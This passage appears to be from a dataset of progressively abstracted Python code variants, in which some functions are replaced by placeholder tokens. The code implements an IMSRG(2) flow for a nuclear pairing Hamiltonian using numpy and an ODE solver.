eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
